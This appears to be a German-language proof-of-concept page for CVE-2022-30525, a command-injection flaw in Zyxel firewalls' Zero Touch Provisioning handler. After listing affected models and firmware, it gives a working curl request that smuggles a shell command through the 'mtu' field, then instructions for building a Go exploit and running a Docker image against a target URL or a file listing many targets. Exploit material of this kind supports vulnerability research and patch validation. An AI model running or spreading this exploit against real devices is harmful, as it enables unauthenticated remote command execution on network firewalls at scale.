
Erster PoC für CVE-2022-30525
Rapid7 entdeckte und meldete eine Sicherheitslücke, die Zyxel-Firewalls betrifft, die Zero Touch Provisioning (ZTP) unterstützen, darunter die ATP-Serie, VPN-Serie und die USG-FLEX-Serie (einschließlich USG20-VPN und USG20W-VPN). Die Sicherheitslücke, identifiziert als CVE-2022-30525, ermöglicht es einem nicht authentifizierten, entfernten Angreifer, beliebigen Code als der Benutzer nobody auf dem betroffenen Gerät auszuführen.
Die folgende Tabelle enthält die betroffenen Modelle und Firmware-Versionen.
Betroffenes Modell USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 bis ZLD5.21 Patch 1 USG20-VPN, USG20W-VPN ZLD5.10 bis ZLD5.21 Patch 1 ATP 100, 200, 500, 700, 800 ZLD5.10 bis ZLD5.21 Patch 1
Die VPN-Serie, die ebenfalls ZTP unterstützt, ist nicht anfällig, da sie die erforderliche Funktionalität nicht unterstützt.
Die betroffenen Modelle sind anfällig für nicht authentifizierte, entfernte Befehlseinschleusung über die administrative HTTP-Schnittstelle. Befehle werden als der Benutzer nobody ausgeführt. Diese Sicherheitslücke wird über den URI /ztp/cgi-bin/handler ausgenutzt.
curl -v --insecure -X POST -H "Content-Type: application/json" -d
'{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
https://192.168.1.1/ztp/cgi-bin/handler
Es sollte eine cmds-Datei erstellt werden, in der Sie Befehle hinzufügen können, die über das Programm im folgenden Format ausgeführt werden:
bash -c "command#1 && command#2 && etc."
For example:
bash -c "ping 8.8.8.8"
Golang
1. git clone https://github.com/iveresk/cve-2022-30525.git
2. cd cve-2022-30525
3. go build cve-2022-30525.go -o /cve-2022-30525
4. chmod +x cve-2022-30525
5. ./cve-2022-30525 -t <targetURL> [or <targetFile>]
Dockerfile
docker run -it -e INPUT_FILE=<file_name> masterrooot/cve-30525
Wobei INPUT_FILE eine Ziel-URL oder eine Datei mit einer Liste von Zielen ist.
Sie können mich jederzeit über Keybase für weitere Details kontaktieren.